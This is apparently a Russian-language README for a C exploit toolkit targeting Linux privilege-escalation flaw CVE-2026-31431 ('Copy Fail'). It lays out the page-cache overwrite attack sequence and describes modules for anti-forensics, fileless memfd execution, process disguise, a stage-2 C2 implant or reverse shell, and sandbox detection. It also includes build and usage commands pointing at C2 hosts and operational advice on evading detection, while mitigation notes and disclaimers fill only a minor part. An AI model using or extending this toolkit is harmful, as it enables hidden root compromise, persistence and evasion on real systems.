Copy Fail -- CVE-2026-31431
Улучшенная реализация на C для операций redteam и авторизованного тестирования на проникновение.
⚠️ Юридическое уведомление: Этот инструмент предназначен исключительно для авторизованных исследований безопасности, авторизованного тестирования на проникновение и защитного анализа. Используйте только на системах, которые вам принадлежат или на тестирование которых вы имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.
🚀 Основная разработка перенесена на GitLab.
Этот репозиторий активно поддерживается здесь. Для сообщений об ошибках и внесения вклада, пожалуйста, используйте GitLab.
Содержание
Обзор
Этот проект представляет собой улучшенный, готовый к эксплуатации порт на C эксплойта локального повышения привилегий CVE-2026-31431 («Copy Fail»), первоначально раскрытого компаниями Theori и Xint 29 апреля 2026 года.
Исходное доказательство концепции было написано на Python и предназначено для демонстрации исследования. Наша реализация превращает его в инструментарий уровня redteam, обладающий:
- Нулевым количеством артефактов на диске (бесфайловое исполнение на основе memfd)
- Автоматическим обнаружением целей (перечисление setuid-бинарников с учётом MAC)
- Анти-криминалистикой (сброс кэша, восстановление временных меток, самоуничтожение)
- Управлением оператором (запуск по сигналу с настраиваемыми таймаутами)
- Кросс-платформенной статической сборкой (x86_64, ARM64, RISC-V через musl/zig)
Оригинальное исследование
CVE-2026-31431: Copy Fail
Механизм уязвимости
Уязвимость находится в подсистеме криптографии AF_ALG ядра Linux. Шаблон AEAD authencesn реализует оптимизацию на месте для расшифровки: когда зашифрованный текст поступает через splice() из кэша страниц файла, ядро повторно использует ту же страницу как для источника, так и для приёмника.
Последовательность атаки:
- Откройте setuid-бинарник (например,
/usr/bin/su) только для чтения
- Настройте операцию AEAD с
authencesn(hmac(sha256),cbc(aes)) через AF_ALG
- Подайте зашифрованный текст через
splice() из кэша страниц целевого файла
- (Неудачная) операция расшифровки перезаписывает 4 байта в кэшированной странице до того, как аутентификация её отвергнет
- Повторите для каждого 4-байтового окна полезной нагрузки
execve() целевого файла -- ядро загружает мутировавшие страницы из кэша, предоставляя полномочия setuid-root
- Полезная нагрузка переходит к полной root-оболочке
Ключевой момент: индекс (inode) на диске никогда не изменяется. Изменяется только кэш страниц в памяти, что делает судебное обнаружение значительно более сложным по сравнению с традиционными эксплойтами перезаписи файлов.
Наши улучшения
Этот проект расширяет оригинальное исследование улучшениями, ориентированными на redteam, в девяти модулях.
1. Улучшенный примитив эксплойта (patch_chunk.c)
2. Автоматическое обнаружение целей (target_discovery.c)
- Трёхфазное сканирование: приоритетные цели → стандартные каталоги → глубокое сканирование
- Оценка с учётом MAC: штраф для бинарников с профилями AppArmor/SELinux
- 18 приоритетных целей:
su, sudo, passwd, pkexec, mount, ping и др.
- Цепочка запасных вариантов: если основная цель не удалась, автоматически выбирается следующий лучший кандидат
- Учёт Snap: пропускает
/snap (нетрадиционные setuid)
3. Пакет анти-криминалистики (anti_forensics.c)
4. Бесфайловое исполнение (memfd_exec.c)
- memfd_create + fexecve: исполнение без пути в файловой системе
- Маскировка: memfd с именами
kworker, anon_inode, eventfd (сливается с /proc/$pid/fd/)
- Fork-and-forget: двойной fork для создания процесса-сироты (PPID=1)
- Расшифровка в памяти: XOR и RC4 расшифровка с последующим exec (полезная нагрузка никогда не находится в открытом виде на диске)
5. Доставка полезной нагрузки этапа 1 (stage1.c)
6. C2-имплант этапа 2 (stage2_template.c)
- Устойчивый цикл переподключения с экспоненциальной задержкой
- Три распределения: равномерное, треугольное, экспоненциальный джиттер
- Управление сигналами:
SIGUSR1 (запуск), SIGUSR2 (статус), SIGTERM (завершение)
- DNS-маячок: скрытая проверка работоспособности C2 перед TCP-подключением
- Маскировка процесса:
[kworker/N:0] в ps/top
7. Сокрытие процесса (proc_hide.c)
- Перезапись argv[0]: замена на месте
/proc/$pid/cmdline
- prctl(PR_SET_NAME): имена в стиле ядерных потоков (ограничение 16 байт)
- Санитизация окружения: выборочная очистка
SSH_*, AWS_*, TOKEN* и т.д.
- Открепление от родителя:
setsid() + setpgid() для независимости от терминала
8. Управление по сигналу (signal_trigger.c)
| Режим | Поведение | Сценарий использования |
|---|
|
Ожидание с нулевой загрузкой CPU: sigsuspend() вместо циклов опроса.
9. Джиттер сна (sleep_jitter.c)
- Три бэкенда ГСЧ:
getrandom(2), /dev/urandom, запасной rdtsc
- Выборка с отклонением: исключает модульное смещение в равномерном распределении
- Компенсация дрейфа:
sleep_scheduled() поддерживает средний интервал несмотря на джиттер
- Обнаружение песочницы:
check_sandbox_acceleration() обнаруживает пропатченный sleep()
Архитектура
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Оркестратор) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Скрыть │ │Найти │ │Эксплуат.│ │ Очистка │ │
│ │ Процесс │ │Цель │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Слой основных модулей │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Слой доставки и уклонения │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Слой полезной нагрузки (этап 2) │ │
│ │ stage2_template.c (reverse shell / имплант C2) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Сборка
Требования
- GCC или Clang
- GNU Make
- Заголовочные файлы Linux (
linux-libc-dev или эквивалент)
- Опционально:
musl-tools (для крошечных статических сборок)
- Опционально:
zig (для современной кросс-компиляции)
- Опционально:
dpkg-deb (для создания пакетов Debian)
Быстрый старт
# Стандартная сборка redteam (оптимизирована, обрезана, статична)
make redteam
# Сборка для пентеста (символы, умеренная оптимизация)
make pentest
# Отладочная сборка (ASAN, полные символы)
make debug
# Проверка уязвимости (неразрушающая)
make checker
Кросс-компиляция
# ARM64 (облачные цели AWS/Azure)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (встроенные/IoT)
make cross-armhf
# Кросс-компиляция через Zig (без установки тулчейна)
make cross-zig-arm64
make cross-zig-riscv
Статическая сборка с musl (Маленькие бинарники)
make musl-static
# Создаёт статические бинарники размером ~50-100 КБ без зависимости от glibc
Пакет Debian
make deb VERSION=1.0.0
# Создаёт: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
Информация о сборке
make info
# Показывает: CC, CFLAGS, LDFLAGS, архитектуру, доступность тулчейна
Использование
Стандартный режим (запуск по сигналу)
# Развернуть имплант
./exploit &
IMP_PID=$!
# Запустить эксплуатацию удалённо
kill -USR1 $IMP_PID
# Запросить статус (без действий)
kill -USR2 $IMP_PID
# Корректное завершение
kill -TERM $IMP_PID
Немедленное выполнение
./exploit -t # Запустить сейчас, не ждать сигнала
./exploit -t -c c2.example.com -p 9999
Пользовательская конфигурация
./exploit \
-c c2.redteam.internal \ # Имя хоста C2
-p 4444 \ # Порт C2
-d 300 \ # Начальная задержка 5 минут
-T 7200 \ # Таймаут триггера 2 часа
-n # Пропустить проверку уязвимости
Неразрушающая проверка уязвимости
./vulnerable
# Код выхода: 100 = уязвим, 0 = пропатчен, другое = ошибка
Модули
Операционная безопасность
Рекомендации для redteam
- Развёртывайте в периоды низкой активности, чтобы минимизировать корреляцию
- Используйте экспоненциальный джиттер для интервалов переподключения (избегает обнаружения маячков)
- Запускайте через SIGUSR1, а не автотриггер (оператор сохраняет контроль)
- Всегда выполняйте очистку (
full_cleanup), даже если эксплойт не удался
- Предпочитайте исполнение через memfd полезным нагрузкам на диске
- Двойной fork для персистентности (
memfd_fork_exec_detach)
- Проверяйте акселерацию песочницы перед выполнением
Криминалистические артефакты
Обнаружение и смягчение
Защитное обнаружение
Смягчения
- Патч ядра: Обновитесь до Linux >= 6.14 с коммитом
a664bf3d603d
- Livepatch: Примените бэкпорт от дистрибутива
- SELinux/AppArmor: Включите профили для setuid-бинарников
- Мониторинг eBPF: Отслеживайте комбинации
AF_ALG + splice()
- Верификация кэша страниц: Периодические проверки целостности критических бинарников
Благодарности
Оригинальное исследование
Базовый порт на C
- Tony Gies --
tgies/copy-fail-c
- Предоставил базовую реализацию на C с использованием
nolibc
- Кросс-платформенные обёртки системных вызовов и инфраструктура сборки
Этот улучшенный форк
- Улучшения, ориентированные на redteam в 9 модулях
- Функции операционной безопасности (анти-криминалистика, уклонение, скрытность)
- Поддержка кросс-компиляции (musl, zig, multi-arch)
- Управление на основе сигналов и настраиваемые режимы выполнения
Благодарности
- Разработчикам ядра Linux за
memfd_create(2) и fexecve(3)
- Мейнтейнерам
nolibc за библиотечную альтернативу, состоящую только из заголовков
- Проекту musl libc за крошечные статические бинарники
- Проекту Zig за современный инструментарий кросс-компиляции
Лицензия
Этот проект распространяется по двойной лицензии:
Смотрите отдельные исходные файлы для идентификаторов SPDX.
Оригинальное исследование и базовый порт на C остаются под своими соответствующими лицензиями. Дополнительный код этого форка предоставляется под указанной двойной лицензией для максимальной совместимости как с открытыми, так и с коммерческими сценариями использования в области безопасности.
Отказ от ответственности
Данное программное обеспечение предоставляется только для авторизованных исследований безопасности и авторизованного тестирования на проникновение. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением. Всегда получайте соответствующее разрешение перед тестированием любой системы, которая вам не принадлежит.
Если вы обнаружили эту уязвимость в своих системах:
- Примените патч ядра (коммит
a664bf3d603d или бэкпорт от дистрибутива)
- Отслеживайте индикаторы компрометации (IoCs), перечисленные выше
- Проверьте
/var/log/audit/ и телеметрию EDR на предмет аномалий AF_ALG